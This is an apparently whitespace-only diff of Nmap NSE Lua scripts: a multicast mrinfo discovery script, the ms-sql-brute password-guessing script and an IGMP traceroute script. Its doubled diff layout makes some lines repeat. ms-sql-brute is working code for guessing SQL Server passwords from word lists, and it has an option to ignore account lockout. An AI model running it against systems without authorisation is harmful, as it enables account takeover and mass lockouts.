local target = stdnse.get_script_args(SCRIPT_NAME .. ".target") or "224.0.0.1" local target = stdnse.get_script_args(SCRIPT_NAME .. ".target") or "224.0.0.1"
local responses = {} local responses = {}
local interface, result local interface, result
interface = nmap.get_interface() interface = nmap.get_interface()
if interface then if interface then
interface = nmap.get_interface_info(interface) interface = nmap.get_interface_info(interface)
else else
interface = getInterface(target) interface = getInterface(target)
end
if not interface then
return ("\n ERROR: Couldn't get interface for %s"):format(target)
end
stdnse.print_debug("%s: will send to %s via %s interface.", SCRIPT_NAME, target, interface.shortname)
-- Thread that listens for responses
stdnse.new_thread(mrinfoListen, interface, timeout, responses)
-- Send request after small wait to let Listener start
stdnse.sleep(0.1)
mrinfoQuery(interface, target)
local condvar = nmap.condvar(responses)
condvar("wait")
if #responses > 0 then
local output, ifoutput = {}
for _, response in pairs(responses) do
result = {}
result.name = "Source: " .. response.srcip
table.insert(result, ("Version %s.%s"):format(response.majver, response.minver))
for _, address in pairs(response.addresses) do
ifoutput = {}
ifoutput.name = "Local address: " .. address.ip
for _, neighbor in pairs(address.neighbors) do
if target.ALLOW_NEW_TARGETS then target.add(neighbor) end
table.insert(ifoutput, "Neighbor: " .. neighbor)
end
table.insert(result, ifoutput)
end
table.insert(output, result)
end end
if not interface then if not target.ALLOW_NEW_TARGETS then
return ("\n ERROR: Couldn't get interface for %s"):format(target) table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
stdnse.print_debug("%s: will send to %s via %s interface.", SCRIPT_NAME, target, interface.shortname)
-- Thread that listens for responses
stdnse.new_thread(mrinfoListen, interface, timeout, responses)
-- Send request after small wait to let Listener start
stdnse.sleep(0.1)
mrinfoQuery(interface, target)
local condvar = nmap.condvar(responses)
condvar("wait")
if #responses > 0 then
local output, ifoutput = {}
for _, response in pairs(responses) do
result = {}
result.name = "Source: " .. response.srcip
table.insert(result, ("Version %s.%s"):format(response.majver, response.minver))
for _, address in pairs(response.addresses) do
ifoutput = {}
ifoutput.name = "Local address: " .. address.ip
for _, neighbor in pairs(address.neighbors) do
if target.ALLOW_NEW_TARGETS then target.add(neighbor) end
table.insert(ifoutput, "Neighbor: " .. neighbor)
end
table.insert(result, ifoutput)
end
table.insert(output, result)
end
if not target.ALLOW_NEW_TARGETS then
table.insert(output,"Use the newtargets script-arg to add the results as targets")
end
return stdnse.format_output(true, output)
end end
return stdnse.format_output(true, output)
end
end end

View File

@@ -55,9 +55,9 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- --
---- ----
-- @args ms-sql-brute.ignore-lockout WARNING! Including this argument will cause -- @args ms-sql-brute.ignore-lockout WARNING! Including this argument will cause
-- the script to continue attempting to brute-forcing passwords for users -- the script to continue attempting to brute-forcing passwords for users
-- even after a user has been locked out. This may result in many SQL -- even after a user has been locked out. This may result in many SQL
-- Server logins being locked out! -- Server logins being locked out!
-- --
-- @args ms-sql-brute.brute-windows-accounts Enable targeting Windows accounts -- @args ms-sql-brute.brute-windows-accounts Enable targeting Windows accounts
-- as part of the brute force attack. This should be used in conjunction -- as part of the brute force attack. This should be used in conjunction
@@ -66,10 +66,10 @@ be disabled using the <code>mssql.scanned-ports-only</code> script argument.
-- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net> -- Created 01/17/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 02/01/2011 - v0.2 (Chris Woodbury) -- Revised 02/01/2011 - v0.2 (Chris Woodbury)
-- - Added ability to run against all instances on a host; -- - Added ability to run against all instances on a host;
-- - Added recognition of account-locked out and password-expired error codes; -- - Added recognition of account-locked out and password-expired error codes;
-- - Added storage of credentials on a per-instance basis -- - Added storage of credentials on a per-instance basis
-- - Added compatibility with changes in mssql.lua -- - Added compatibility with changes in mssql.lua
author = "Patrik Karlsson" author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html" license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@@ -86,220 +86,220 @@ portrule = mssql.Helper.GetPortrule_Standard()
--- Returns formatted output for the given instance --- Returns formatted output for the given instance
local function create_instance_output_table( instance ) local function create_instance_output_table( instance )
local instanceOutput = {} local instanceOutput = {}
instanceOutput["name"] = string.format( "[%s]", instance:GetName() ) instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
if ( instance.ms_sql_brute.credentials ) then if ( instance.ms_sql_brute.credentials ) then
local credsOutput = {} local credsOutput = {}
credsOutput["name"] = "Credentials found:" credsOutput["name"] = "Credentials found:"
table.insert( instanceOutput, credsOutput ) table.insert( instanceOutput, credsOutput )
for username, result in pairs( instance.ms_sql_brute.credentials ) do for username, result in pairs( instance.ms_sql_brute.credentials ) do
local password = result[1] local password = result[1]
local errorCode = result[2] local errorCode = result[2]
password = password:len()>0 and password or "<empty>" password = password:len()>0 and password or "<empty>"
if errorCode then if errorCode then
local errorMessage = mssql.LoginErrorMessage[ errorCode ] or "unknown error" local errorMessage = mssql.LoginErrorMessage[ errorCode ] or "unknown error"
table.insert( credsOutput, string.format( "%s:%s => %s", username, password, errorMessage ) ) table.insert( credsOutput, string.format( "%s:%s => %s", username, password, errorMessage ) )
else else
table.insert( credsOutput, string.format( "%s:%s => Login Success", username, password ) ) table.insert( credsOutput, string.format( "%s:%s => Login Success", username, password ) )
end end
end end
if ( #credsOutput == 0 ) then if ( #credsOutput == 0 ) then
table.insert( instanceOutput, "No credentials found" ) table.insert( instanceOutput, "No credentials found" )
end end
end end
if ( instance.ms_sql_brute.warnings ) then if ( instance.ms_sql_brute.warnings ) then
local warningsOutput = {} local warningsOutput = {}
warningsOutput["name"] = "Warnings:" warningsOutput["name"] = "Warnings:"
table.insert( instanceOutput, warningsOutput ) table.insert( instanceOutput, warningsOutput )
for _, warning in ipairs( instance.ms_sql_brute.warnings ) do for _, warning in ipairs( instance.ms_sql_brute.warnings ) do
table.insert( warningsOutput, warning ) table.insert( warningsOutput, warning )
end end
end end
if ( instance.ms_sql_brute.errors ) then if ( instance.ms_sql_brute.errors ) then
local errorsOutput = {} local errorsOutput = {}
errorsOutput["name"] = "Errors:" errorsOutput["name"] = "Errors:"
table.insert( instanceOutput, errorsOutput ) table.insert( instanceOutput, errorsOutput )
for _, error in ipairs( instance.ms_sql_brute.errors ) do for _, error in ipairs( instance.ms_sql_brute.errors ) do
table.insert( errorsOutput, error ) table.insert( errorsOutput, error )
end end
end end
return instanceOutput return instanceOutput
end end
local function test_credentials( instance, helper, username, password ) local function test_credentials( instance, helper, username, password )
local database = "tempdb" local database = "tempdb"
local stopUser, stopInstance = false, false local stopUser, stopInstance = false, false
local status, result = helper:ConnectEx( instance ) local status, result = helper:ConnectEx( instance )
local loginErrorCode local loginErrorCode
if( status ) then if( status ) then
stdnse.print_debug( 2, "%s: Attempting login to %s as %s/%s", SCRIPT_NAME, instance:GetName(), username, password ) stdnse.print_debug( 2, "%s: Attempting login to %s as %s/%s", SCRIPT_NAME, instance:GetName(), username, password )
status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip ) status, result, loginErrorCode = helper:Login( username, password, database, instance.host.ip )
end end
helper:Disconnect() helper:Disconnect()
local passwordIsGood, canLogin local passwordIsGood, canLogin
if status then if status then
passwordIsGood = true passwordIsGood = true
canLogin = true canLogin = true
elseif ( loginErrorCode ) then elseif ( loginErrorCode ) then
if ( ( loginErrorCode ~= mssql.LoginErrorType.InvalidUsernameOrPassword ) and if ( ( loginErrorCode ~= mssql.LoginErrorType.InvalidUsernameOrPassword ) and
( loginErrorCode ~= mssql.LoginErrorType.NotAssociatedWithTrustedConnection ) ) then ( loginErrorCode ~= mssql.LoginErrorType.NotAssociatedWithTrustedConnection ) ) then
stopUser = true stopUser = true
end end
if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true if ( loginErrorCode == mssql.LoginErrorType.PasswordExpired ) then passwordIsGood = true
elseif ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true elseif ( loginErrorCode == mssql.LoginErrorType.PasswordMustChange ) then passwordIsGood = true
elseif ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then elseif ( loginErrorCode == mssql.LoginErrorType.AccountLockedOut ) then
stdnse.print_debug( 1, "%s: Account %s locked out on %s", SCRIPT_NAME, username, instance:GetName() ) stdnse.print_debug( 1, "%s: Account %s locked out on %s", SCRIPT_NAME, username, instance:GetName() )
table.insert( instance.ms_sql_brute.warnings, string.format( "%s: Account is locked out.", username ) ) table.insert( instance.ms_sql_brute.warnings, string.format( "%s: Account is locked out.", username ) )
if ( not stdnse.get_script_args( "ms-sql-brute.ignore-lockout" ) ) then if ( not stdnse.get_script_args( "ms-sql-brute.ignore-lockout" ) ) then
stopInstance = true stopInstance = true
end end
end end
if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then if ( mssql.LoginErrorMessage[ loginErrorCode ] == nil ) then
stdnse.print_debug( 2, "%s: Attemping login to %s as (%s/%s): Unknown login error number: %s", stdnse.print_debug( 2, "%s: Attemping login to %s as (%s/%s): Unknown login error number: %s",
SCRIPT_NAME, instance:GetName(), username, password, loginErrorCode ) SCRIPT_NAME, instance:GetName(), username, password, loginErrorCode )
table.insert( instance.ms_sql_brute.warnings, string.format( "Unknown login error number: %s", loginErrorCode ) ) table.insert( instance.ms_sql_brute.warnings, string.format( "Unknown login error number: %s", loginErrorCode ) )
end end
stdnse.print_debug( 3, "%s: Attempt to login to %s as (%s/%s): %d (%s)", stdnse.print_debug( 3, "%s: Attempt to login to %s as (%s/%s): %d (%s)",
SCRIPT_NAME, instance:GetName(), username, password, loginErrorCode, tostring( mssql.LoginErrorMessage[ loginErrorCode ] ) ) SCRIPT_NAME, instance:GetName(), username, password, loginErrorCode, tostring( mssql.LoginErrorMessage[ loginErrorCode ] ) )
else else
table.insert( instance.ms_sql_brute.errors, string.format("Network error. Skipping instance. Error: %s", result ) ) table.insert( instance.ms_sql_brute.errors, string.format("Network error. Skipping instance. Error: %s", result ) )
stopUser = true stopUser = true
stopInstance = true stopInstance = true
end end
if ( passwordIsGood ) then if ( passwordIsGood ) then
stopUser = true stopUser = true
instance.ms_sql_brute.credentials[ username ] = { password, loginErrorCode } instance.ms_sql_brute.credentials[ username ] = { password, loginErrorCode }
-- Add credentials for other ms-sql scripts to use but don't -- Add credentials for other ms-sql scripts to use but don't
-- add accounts that need to change passwords -- add accounts that need to change passwords
if ( canLogin ) then if ( canLogin ) then
instance.credentials[ username ] = password instance.credentials[ username ] = password
-- Legacy storage method (does not distinguish between instances) -- Legacy storage method (does not distinguish between instances)
nmap.registry.mssqlusers = nmap.registry.mssqlusers or {} nmap.registry.mssqlusers = nmap.registry.mssqlusers or {}
nmap.registry.mssqlusers[username]=password nmap.registry.mssqlusers[username]=password
end end
end end
return stopUser, stopInstance return stopUser, stopInstance
end end
--- Processes a single instance, attempting to detect an empty password for "sa" --- Processes a single instance, attempting to detect an empty password for "sa"
local function process_instance( instance ) local function process_instance( instance )
-- One of this script's features is that it will report an instance's -- One of this script's features is that it will report an instance's
-- in both the port-script results and the host-script results. In order to -- in both the port-script results and the host-script results. In order to
-- avoid redundant login attempts on an instance, we will just make the -- avoid redundant login attempts on an instance, we will just make the
-- attempt once and then re-use the results. We'll use a mutex to make sure -- attempt once and then re-use the results. We'll use a mutex to make sure
-- that multiple script instances (e.g. a host-script and a port-script) -- that multiple script instances (e.g. a host-script and a port-script)
-- working on the same SQL Server instance can only enter this block one at -- working on the same SQL Server instance can only enter this block one at
-- a time. -- a time.
local mutex = nmap.mutex( instance ) local mutex = nmap.mutex( instance )
mutex( "lock" ) mutex( "lock" )
-- If this instance has already been tested (e.g. if we got to it by both the -- If this instance has already been tested (e.g. if we got to it by both the
-- hostrule and the portrule), don't test it again. -- hostrule and the portrule), don't test it again.
if ( instance.tested_brute ~= true ) then if ( instance.tested_brute ~= true ) then
instance.tested_brute = true instance.tested_brute = true
instance.credentials = instance.credentials or {} instance.credentials = instance.credentials or {}
instance.ms_sql_brute = instance.ms_sql_brute or {} instance.ms_sql_brute = instance.ms_sql_brute or {}
instance.ms_sql_brute.credentials = instance.ms_sql_brute.credentials or {} instance.ms_sql_brute.credentials = instance.ms_sql_brute.credentials or {}
instance.ms_sql_brute.warnings = instance.ms_sql_brute.warnings or {} instance.ms_sql_brute.warnings = instance.ms_sql_brute.warnings or {}
instance.ms_sql_brute.errors = instance.ms_sql_brute.errors or {} instance.ms_sql_brute.errors = instance.ms_sql_brute.errors or {}
local result, status local result, status
local stopUser, stopInstance local stopUser, stopInstance
local usernames, passwords, username, password local usernames, passwords, username, password
local helper = mssql.Helper:new() local helper = mssql.Helper:new()
if ( not instance:HasNetworkProtocols() ) then if ( not instance:HasNetworkProtocols() ) then
stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() ) stdnse.print_debug( 1, "%s: %s has no network protocols enabled.", SCRIPT_NAME, instance:GetName() )
table.insert( instance.ms_sql_brute.errors, "No network protocols enabled." ) table.insert( instance.ms_sql_brute.errors, "No network protocols enabled." )
stopInstance = true stopInstance = true
end end
status, usernames = unpwdb.usernames() status, usernames = unpwdb.usernames()
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug( 1, "%s: Failed to load usernames list.", SCRIPT_NAME ) stdnse.print_debug( 1, "%s: Failed to load usernames list.", SCRIPT_NAME )
table.insert( instance.ms_sql_brute.errors, "Failed to load usernames list." ) table.insert( instance.ms_sql_brute.errors, "Failed to load usernames list." )
stopInstance = true stopInstance = true
end end
if ( status ) then if ( status ) then
status, passwords = unpwdb.passwords() status, passwords = unpwdb.passwords()
if ( not(status) ) then if ( not(status) ) then
stdnse.print_debug( 1, "%s: Failed to load passwords list.", SCRIPT_NAME ) stdnse.print_debug( 1, "%s: Failed to load passwords list.", SCRIPT_NAME )
table.insert( instance.ms_sql_brute.errors, "Failed to load passwords list." ) table.insert( instance.ms_sql_brute.errors, "Failed to load passwords list." )
stopInstance = true stopInstance = true
end end
end end
if ( status ) then if ( status ) then
for username in usernames do for username in usernames do
if stopInstance then break end if stopInstance then break end
-- See if the password is the same as the username (which may not -- See if the password is the same as the username (which may not
-- be in the password list) -- be in the password list)
stopUser, stopInstance = test_credentials( instance, helper, username, username ) stopUser, stopInstance = test_credentials( instance, helper, username, username )
for password in passwords do for password in passwords do
if stopUser then break end if stopUser then break end
stopUser, stopInstance = test_credentials( instance, helper, username, password ) stopUser, stopInstance = test_credentials( instance, helper, username, password )
end end
passwords("reset") passwords("reset")
end end
end end
end end
-- The password testing has been finished. Unlock the mutex. -- The password testing has been finished. Unlock the mutex.
mutex( "done" ) mutex( "done" )
return create_instance_output_table( instance ) return create_instance_output_table( instance )
end end
action = function( host, port ) action = function( host, port )
local scriptOutput = {} local scriptOutput = {}
local status, instanceList = mssql.Helper.GetTargetInstances( host, port ) local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
local domain, bruteWindows = stdnse.get_script_args("mssql.domain", "ms-sql-brute.brute-windows-accounts") local domain, bruteWindows = stdnse.get_script_args("mssql.domain", "ms-sql-brute.brute-windows-accounts")
if ( domain and not(bruteWindows) ) then if ( domain and not(bruteWindows) ) then
local ret = "\n " .. local ret = "\n " ..
"Windows authentication was enabled but the argument\n " .. "Windows authentication was enabled but the argument\n " ..
"ms-sql-brute.brute-windows-accounts was not given. As there is currently no\n " .. "ms-sql-brute.brute-windows-accounts was not given. As there is currently no\n " ..
"way of detecting accounts being locked out when Windows authentication is \n " .. "way of detecting accounts being locked out when Windows authentication is \n " ..
"used, make sure that the amount entries in the password list\n " .. "used, make sure that the amount entries in the password list\n " ..
"(passdb argument) are at least 2 entries below the lockout threshold." "(passdb argument) are at least 2 entries below the lockout threshold."
return ret return ret
end end
if ( not status ) then if ( not status ) then
return stdnse.format_output( false, instanceList ) return stdnse.format_output( false, instanceList )
else else
for _, instance in pairs( instanceList ) do for _, instance in pairs( instanceList ) do
local instanceOutput = process_instance( instance ) local instanceOutput = process_instance( instance )
if instanceOutput then if instanceOutput then
table.insert( scriptOutput, instanceOutput ) table.insert( scriptOutput, instanceOutput )
end end
end end
end end
return stdnse.format_output( true, scriptOutput ) return stdnse.format_output( true, scriptOutput )
end end

View File

@@ -69,47 +69,47 @@ categories = {"discovery", "safe", "broadcast"}
-- From: https://tools.ietf.org/id/draft-ietf-idmr-traceroute-ipm-07.txt -- From: https://tools.ietf.org/id/draft-ietf-idmr-traceroute-ipm-07.txt
PROTO = { PROTO = {
[0x01] = "DVMRP", [0x01] = "DVMRP",
[0x02] = "MOSPF", [0x02] = "MOSPF",
[0x03] = "PIM", [0x03] = "PIM",
[0x04] = "CBT", [0x04] = "CBT",
[0x05] = "PIM / Special table", [0x05] = "PIM / Special table",
[0x06] = "PIM / Static", [0x06] = "PIM / Static",
[0x07] = "DVMRP / Static", [0x07] = "DVMRP / Static",
[0x08] = "PIM / MBGP", [0x08] = "PIM / MBGP",
[0x09] = "CBT / Special table", [0x09] = "CBT / Special table",
[0x10] = "CBT / Static", [0x10] = "CBT / Static",
[0x11] = "PIM / state created by Assert processing", [0x11] = "PIM / state created by Assert processing",
} }
FWD_CODE = { FWD_CODE = {
[0x00] = "NO_ERROR", [0x00] = "NO_ERROR",
[0x01] = "WRONG_IF", [0x01] = "WRONG_IF",
[0x02] = "PRUNE_SENT", [0x02] = "PRUNE_SENT",
[0x03] = "PRUNE_RCVD", [0x03] = "PRUNE_RCVD",
[0x04] = "SCOPED", [0x04] = "SCOPED",
[0x05] = "NO_ROUTE", [0x05] = "NO_ROUTE",
[0x06] = "WRONG_LAST_HOP", [0x06] = "WRONG_LAST_HOP",
[0x07] = "NOT_FORWARDING", [0x07] = "NOT_FORWARDING",
[0x08] = "REACHED_RP", [0x08] = "REACHED_RP",
[0x09] = "RPF_IF", [0x09] = "RPF_IF",
[0x0A] = "NO_MULTICAST", [0x0A] = "NO_MULTICAST",
[0x0B] = "INFO_HIDDEN", [0x0B] = "INFO_HIDDEN",
[0x81] = "NO_SPACE", [0x81] = "NO_SPACE",
[0x82] = "OLD_ROUTER", [0x82] = "OLD_ROUTER",
[0x83] = "ADMIN_PROHIB", [0x83] = "ADMIN_PROHIB",
} }
prerule = function() prerule = function()
if nmap.address_family() ~= 'inet' then if nmap.address_family() ~= 'inet' then
stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME) stdnse.print_verbose("%s is IPv4 only.", SCRIPT_NAME)
return false return false
end end
if not nmap.is_privileged() then if not nmap.is_privileged() then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
return false return false
end end
return true return true
end end
--- Generates a raw IGMP Traceroute Query. --- Generates a raw IGMP Traceroute Query.
@@ -119,19 +119,19 @@ end
--@param receiver Receiver of the response. --@param receiver Receiver of the response.
--@return data Raw Traceroute Query. --@return data Raw Traceroute Query.
local traceRaw = function(fromip, toip, group, receiver) local traceRaw = function(fromip, toip, group, receiver)
local data = bin.pack(">C", 0x1f) -- Type: Traceroute Query local data = bin.pack(">C", 0x1f) -- Type: Traceroute Query
local data = data .. bin.pack(">C", 0x20) -- Hops: 32 local data = data .. bin.pack(">C", 0x20) -- Hops: 32
local data = data .. bin.pack(">S", 0x0000) -- Checksum: To be set later local data = data .. bin.pack(">S", 0x0000) -- Checksum: To be set later
local data = data .. bin.pack(">I", ipOps.todword(group)) -- Multicast group local data = data .. bin.pack(">I", ipOps.todword(group)) -- Multicast group
local data = data .. bin.pack(">I", ipOps.todword(fromip)) -- Source local data = data .. bin.pack(">I", ipOps.todword(fromip)) -- Source
local data = data .. bin.pack(">I", ipOps.todword(toip)) -- Destination local data = data .. bin.pack(">I", ipOps.todword(toip)) -- Destination
local data = data .. bin.pack(">I", ipOps.todword(receiver)) -- Receiver local data = data .. bin.pack(">I", ipOps.todword(receiver)) -- Receiver
local data = data .. bin.pack(">C", 0x40) -- TTL local data = data .. bin.pack(">C", 0x40) -- TTL
local data = data .. bin.pack(">CS", 0x00, math.random(123456)) -- Query ID local data = data .. bin.pack(">CS", 0x00, math.random(123456)) -- Query ID
-- We calculate checksum -- We calculate checksum
data = data:sub(1,2) .. bin.pack(">S", packet.in_cksum(data)) .. data:sub(5) data = data:sub(1,2) .. bin.pack(">S", packet.in_cksum(data)) .. data:sub(5)
return data return data
end end
--- Sends a raw IGMP Traceroute Query. --- Sends a raw IGMP Traceroute Query.
@@ -139,125 +139,125 @@ end
--@param destination Target host to which the packet is sent. --@param destination Target host to which the packet is sent.
--@param trace_raw Traceroute raw Query. --@param trace_raw Traceroute raw Query.
local traceSend = function(interface, destination, trace_raw) local traceSend = function(interface, destination, trace_raw)
local ip_raw = bin.pack("H", "45c00040ed780000400218bc0a00c8750a00c86b") .. trace_raw local ip_raw = bin.pack("H", "45c00040ed780000400218bc0a00c8750a00c86b") .. trace_raw
local trace_packet = packet.Packet:new(ip_raw, ip_raw:len()) local trace_packet = packet.Packet:new(ip_raw, ip_raw:len())
trace_packet:ip_set_bin_src(ipOps.ip_to_str(interface.address)) trace_packet:ip_set_bin_src(ipOps.ip_to_str(interface.address))
trace_packet:ip_set_bin_dst(ipOps.ip_to_str(destination)) trace_packet:ip_set_bin_dst(ipOps.ip_to_str(destination))
trace_packet:ip_set_len(#trace_packet.buf) trace_packet:ip_set_len(#trace_packet.buf)
trace_packet:ip_count_checksum() trace_packet:ip_count_checksum()
if destination == "224.0.0.2" then if destination == "224.0.0.2" then
-- Doesn't affect results as it is ignored but most routers, but RFC -- Doesn't affect results as it is ignored but most routers, but RFC
-- 3171 should be respected. -- 3171 should be respected.
trace_packet:ip_set_ttl(1) trace_packet:ip_set_ttl(1)
end end
trace_packet:ip_count_checksum() trace_packet:ip_count_checksum()
local sock = nmap.new_dnet() local sock = nmap.new_dnet()
if destination == "224.0.0.2" then if destination == "224.0.0.2" then
sock:ethernet_open(interface.device) sock:ethernet_open(interface.device)
-- Ethernet IPv4 multicast, our ethernet address and packet type IP -- Ethernet IPv4 multicast, our ethernet address and packet type IP
local eth_hdr = bin.pack("HAH", "01 00 5e 00 00 02", interface.mac, "08 00") local eth_hdr = bin.pack("HAH", "01 00 5e 00 00 02", interface.mac, "08 00")
sock:ethernet_send(eth_hdr .. trace_packet.buf) sock:ethernet_send(eth_hdr .. trace_packet.buf)
sock:ethernet_close() sock:ethernet_close()
else else
sock:ip_open() sock:ip_open()
sock:ip_send(trace_packet.buf, destination) sock:ip_send(trace_packet.buf, destination)
sock:ip_close() sock:ip_close()
end end
end end
--- Parses an IGMP Traceroute Response and returns it in structured form. --- Parses an IGMP Traceroute Response and returns it in structured form.
--@param data Raw Traceroute Response. --@param data Raw Traceroute Response.
--@return response Structured Traceroute Response. --@return response Structured Traceroute Response.
local traceParse = function(data) local traceParse = function(data)
local index local index
local response = {} local response = {}
-- first byte should be IGMP type == 0x1e (Traceroute Response) -- first byte should be IGMP type == 0x1e (Traceroute Response)
if data:byte(1) ~= 0x1e then return end if data:byte(1) ~= 0x1e then return end
-- Hops -- Hops
index, response.hops = bin.unpack(">C", data, 2) index, response.hops = bin.unpack(">C", data, 2)
-- Checksum -- Checksum
index, response.checksum = bin.unpack(">S", data, index) index, response.checksum = bin.unpack(">S", data, index)
-- Group -- Group
index, response.group = bin.unpack("<I", data, index) index, response.group = bin.unpack("<I", data, index)
response.group = ipOps.fromdword(response.group) response.group = ipOps.fromdword(response.group)
-- Source address -- Source address
index, response.source = bin.unpack("<I", data, index) index, response.source = bin.unpack("<I", data, index)
response.source = ipOps.fromdword(response.source) response.source = ipOps.fromdword(response.source)
-- Destination address -- Destination address
index, response.destination = bin.unpack("<I", data, index) index, response.destination = bin.unpack("<I", data, index)
response.receiver = ipOps.fromdword(response.destination) response.receiver = ipOps.fromdword(response.destination)
-- Response address -- Response address
index, response.response = bin.unpack("<I", data, index) index, response.response = bin.unpack("<I", data, index)
response.response = ipOps.fromdword(response.response) response.response = ipOps.fromdword(response.response)
-- Response TTL -- Response TTL
index, response.ttl = bin.unpack(">C", data, index) index, response.ttl = bin.unpack(">C", data, index)
-- Query ID -- Query ID
index, response.qid = bin.unpack(">C", data, index) index, response.qid = bin.unpack(">C", data, index)
index, response.qid = response.qid * 2^16 + bin.unpack(">S", data, index) index, response.qid = response.qid * 2^16 + bin.unpack(">S", data, index)
local block local block
response.blocks = {} response.blocks = {}
-- Now, parse data blocks -- Now, parse data blocks
while true do while true do
-- To end parsing and not get stuck in infinite loops. -- To end parsing and not get stuck in infinite loops.
if index >= #data then if index >= #data then
break break
elseif #data - index < 31 then elseif #data - index < 31 then
stdnse.print_verbose("%s malformated traceroute response.", SCRIPT_NAME) stdnse.print_verbose("%s malformated traceroute response.", SCRIPT_NAME)
return return
end
block = {}
-- Query Arrival
index, block.query = bin.unpack(">I", data, index)
-- In itf address
index, block.inaddr = bin.unpack("<I", data, index)
block.inaddr = ipOps.fromdword(block.inaddr)
-- Out itf address
index, block.outaddr = bin.unpack("<I", data, index)
block.outaddr = ipOps.fromdword(block.outaddr)
-- Previous rtr address
index, block.prevaddr = bin.unpack("<I", data, index)
block.prevaddr = ipOps.fromdword(block.prevaddr)
-- In packets
index, block.inpkts = bin.unpack(">I", data, index)
-- Out packets
index, block.outpkts = bin.unpack(">I", data, index)
-- S,G pkt count
index, block.sgpkt = bin.unpack(">I", data, index)
-- Protocol
index, block.proto = bin.unpack(">C", data, index)
-- Forward TTL
index, block.fwdttl = bin.unpack(">C", data, index)
-- Options
index, block.options = bin.unpack(">C", data, index)
-- Forwarding Code
index, block.code = bin.unpack(">C", data, index)
table.insert(response.blocks, block)
end end
return response
block = {}
-- Query Arrival
index, block.query = bin.unpack(">I", data, index)
-- In itf address
index, block.inaddr = bin.unpack("<I", data, index)
block.inaddr = ipOps.fromdword(block.inaddr)
-- Out itf address
index, block.outaddr = bin.unpack("<I", data, index)
block.outaddr = ipOps.fromdword(block.outaddr)
-- Previous rtr address
index, block.prevaddr = bin.unpack("<I", data, index)
block.prevaddr = ipOps.fromdword(block.prevaddr)
-- In packets
index, block.inpkts = bin.unpack(">I", data, index)
-- Out packets
index, block.outpkts = bin.unpack(">I", data, index)
-- S,G pkt count
index, block.sgpkt = bin.unpack(">I", data, index)
-- Protocol
index, block.proto = bin.unpack(">C", data, index)
-- Forward TTL
index, block.fwdttl = bin.unpack(">C", data, index)
-- Options
index, block.options = bin.unpack(">C", data, index)
-- Forwarding Code
index, block.code = bin.unpack(">C", data, index)
table.insert(response.blocks, block)
end
return response
end end
-- Listens for IGMP Traceroute responses -- Listens for IGMP Traceroute responses
@@ -265,129 +265,129 @@ end
--@param timeout Amount of time to listen for in seconds. --@param timeout Amount of time to listen for in seconds.
--@param responses table to insert responses into. --@param responses table to insert responses into.
local traceListener = function(interface, timeout, responses) local traceListener = function(interface, timeout, responses)
local condvar = nmap.condvar(responses) local condvar = nmap.condvar(responses)
local start = nmap.clock_ms() local start = nmap.clock_ms()
local listener = nmap.new_socket() local listener = nmap.new_socket()
local p, trace_raw, status, l3data, response, _ local p, trace_raw, status, l3data, response, _
-- IGMP packets that are sent to our host -- IGMP packets that are sent to our host
local filter = 'ip proto 2 and dst host ' .. interface.address local filter = 'ip proto 2 and dst host ' .. interface.address
listener:set_timeout(100) listener:set_timeout(100)
listener:pcap_open(interface.device, 1024, true, filter) listener:pcap_open(interface.device, 1024, true, filter)
while (nmap.clock_ms() - start) < timeout do while (nmap.clock_ms() - start) < timeout do
status, _, _, l3data = listener:pcap_receive() status, _, _, l3data = listener:pcap_receive()
if status then if status then
p = packet.Packet:new(l3data, #l3data) p = packet.Packet:new(l3data, #l3data)
trace_raw = string.sub(l3data, p.ip_hl*4 + 1) trace_raw = string.sub(l3data, p.ip_hl*4 + 1)
if p then if p then
-- Check that IGMP Type == 0x1e (Traceroute Response) -- Check that IGMP Type == 0x1e (Traceroute Response)
if trace_raw:byte(1) == 0x1e then if trace_raw:byte(1) == 0x1e then
response = traceParse(trace_raw) response = traceParse(trace_raw)
if response then if response then
response.srcip = p.ip_src response.srcip = p.ip_src
table.insert(responses, response) table.insert(responses, response)
end end
end end
end end
end
end end
condvar("signal") end
condvar("signal")
end end
-- Returns the network interface used to send packets to a target host. -- Returns the network interface used to send packets to a target host.
--@param target host to which the interface is used. --@param target host to which the interface is used.
--@return interface Network interface used for target host. --@return interface Network interface used for target host.
local getInterface = function(target) local getInterface = function(target)
-- First, create dummy UDP connection to get interface -- First, create dummy UDP connection to get interface
local sock = nmap.new_socket() local sock = nmap.new_socket()
local status, err = sock:connect(target, "12345", "udp") local status, err = sock:connect(target, "12345", "udp")
if not status then if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err) stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return return
end end
local status, address, _, _, _ = sock:get_info() local status, address, _, _, _ = sock:get_info()
if not status then if not status then
stdnse.print_verbose("%s: %s", SCRIPT_NAME, err) stdnse.print_verbose("%s: %s", SCRIPT_NAME, err)
return return
end end
for _, interface in pairs(nmap.list_interfaces()) do for _, interface in pairs(nmap.list_interfaces()) do
if interface.address == address then if interface.address == address then
return interface return interface
end
end end
end
end end
action = function() action = function()
local fromip = stdnse.get_script_args(SCRIPT_NAME .. ".fromip") local fromip = stdnse.get_script_args(SCRIPT_NAME .. ".fromip")
local toip = stdnse.get_script_args(SCRIPT_NAME .. ".toip") local toip = stdnse.get_script_args(SCRIPT_NAME .. ".toip")
local group = stdnse.get_script_args(SCRIPT_NAME .. ".group") or "0.0.0.0" local group = stdnse.get_script_args(SCRIPT_NAME .. ".group") or "0.0.0.0"
